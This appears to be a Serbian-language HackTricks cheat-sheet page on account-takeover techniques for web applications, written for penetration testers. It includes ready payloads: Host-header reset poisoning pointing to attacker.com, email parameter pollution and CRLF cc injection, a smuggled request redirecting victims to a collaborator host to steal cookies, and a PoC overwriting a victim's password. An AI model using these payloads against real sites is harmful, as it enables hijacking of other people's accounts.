Ranljivosti registracije i preuzimanja naloga
Reading time: 7 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Preuzimanje naloga pri registraciji
Duplikat registracije
- Pokušajte da kreirate nalog koristeći postojeće korisničko ime
- Proverite varijacije email-a:
- velika slova
- +1@
- dodavanje tačke u email adresu
- specijalni karakteri u delu email-a (%00, %09, %20)
- Stavite prazne karaktere posle email-a:
test@test.com a - victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Enumeracija korisničkog imena
Proverite da li možete da utvrdite kada je korisničko ime već registrovano u aplikaciji.
Politika lozinki
Prilikom kreiranja korisnika proverite politiku lozinki (da li je moguće koristiti slabe lozinke). U tom slučaju možete pokušati bruteforce kredencijale.
SQL Injection
Check this page da naučite kako pokušati preuzimanje naloga ili izvlačenje informacija putem SQL Injections u formama za registraciju.
Oauth Takeovers
SAML Vulnerabilities
Promena email adrese
Nakon registracije pokušajte da promenite email i proverite da li je promena pravilno validirana ili je moguće postaviti proizvoljnu adresu.
Dodatne provere
- Proverite da li možete koristiti disposable emails
- Duga lozinka (>200) dovodi do DoS
- Proverite rate limits pri kreiranju naloga
- Koristite username@burp_collab.net i analizirajte callback
Preuzimanje naloga putem resetovanja lozinke
Password Reset Token Leak Via Referrer
- Zatražite reset lozinke na vašu email adresu
- Kliknite na link za reset lozinke
- Ne menjajte lozinku
- Kliknite na bilo koji 3rd party sajt (npr: Facebook, twitter)
- Interceptujte zahtev u Burp Suite proxy
- Proverite da li referer header leak-uje password reset token.
Password Reset Poisoning
- Interceptujte zahtev za reset lozinke u Burp Suite
- Dodajte ili izmenite sledeće header-e u Burp Suite :
Host: attacker.com,X-Forwarded-Host: attacker.com - Prosledite zahtev sa izmenjenim headerom
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com - Potražite URL za reset lozinke koji se bazira na host header-u kao npr.:
https://attacker.com/reset-password.php?token=TOKEN
Reset lozinke putem email parametra
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR na API parametrima
- Napadač mora da se prijavi svojim nalogom i ode na funkciju Change password.
- Pokrenite Burp Suite i Interceptujte request
- Pošaljite ga na repeater tab i izmenite parametre : User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Slab token za reset lozinke
Token za reset lozinke treba da bude nasumično generisan i jedinstven svaki put.
Pokušajte da ustanovite da li token ističe ili je uvek isti — u nekim slučajevima algoritam generisanja je slab i može se pogoditi. Sledeće varijable mogu biti korišćene u algoritmu.
- Timestamp
- UserID
- Email korisnika
- Ime i prezime
- Datum rođenja
- Kriptografija
- Samo brojevi
- Mala sekvenca tokena ( characters between [A-Z,a-z,0-9])
- Ponovna upotreba tokena
- Datum isteka tokena
Leaking Password Reset Token
- Triggerujte zahtev za reset lozinke koristeći API/UI za određeni email npr: test@mail.com
- Pregledajte odgovor servera i proverite za
resetToken - Zatim koristite token u URL-u kao
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Reset lozinke putem kolizije korisničkog imena
- Registrujte se u sistemu sa korisničkim imenom identičnim korisničkom imenu žrtve, ali sa ubačenim razmacima pre i/ili posle korisničkog imena. npr:
"admin " - Zatražite reset lozinke koristeći vaše zlonamerno korisničko ime.
- Iskoristite token poslat na vaš email i resetujte žrtvinu lozinku.
- Prijavite se na žrtvin nalog sa novom lozinkom.
Platforma CTFd je bila ranjiva na ovaj napad.
See: CVE-2020-7245
Preuzimanje naloga putem Cross Site Scripting
- Nađite XSS unutar aplikacije ili na subdomeni ako su cookies scoped na parent domain :
*.domain.com - Leak trenutni sessions cookie
- Autentifikujte se kao korisnik koristeći cookie
Preuzimanje naloga putem HTTP Request Smuggling
1. Koristite smuggler da otkrijete tip HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Sastavite request koji će prepisati POST / HTTP/1.1 sa sledećim podacima:
GET http://something.burpcollaborator.net HTTP/1.1 X: sa ciljem da otvorite redirect žrtava ka burpcollab-u i ukradete njihove cookies
3. Konačni request može izgledati ovako
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone izveštaji o iskorišćavanju ovog buga
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
Account Takeover via CSRF
- Kreirajte payload za CSRF, npr: “HTML form with auto submit for a password change”
- Pošaljite payload
Account Takeover via JWT
JSON Web Token might be used to authenticate an user.
- Izmenite JWT sa drugim User ID / Email
- Proverite da li je JWT potpis slab
JWT Vulnerabilities (Json Web Tokens)
Registration-as-Reset (Upsert on Existing Email)
Neki signup handleri izvršavaju upsert kada navedeni email već postoji. Ako endpoint prihvata minimalno telo sa email-om i lozinkom i ne sprovodi verifikaciju vlasništva, slanje email-a žrtve će pre-auth prepisati njihovu lozinku.
- Otkrivanje: prikupite nazive endpointa iz bundled JS (ili mobile app traffic), zatim fuzz-ujte bazne putanje kao /parents/application/v4/admin/FUZZ koristeći ffuf/dirsearch.
- Naznake metode: GET koji vraća poruke kao "Only POST request is allowed." često ukazuje na ispravan HTTP metod i da se očekuje JSON body.
- Minimalno telo primećeno u praksi:
{"email":"victim@example.com","password":"New@12345"}
Primer PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Uticaj: Full Account Takeover (ATO) bez ikakvog reset token, OTP ili email verification.
Reference
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
- https://salmonsec.com/cheatsheet/account_takeover
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks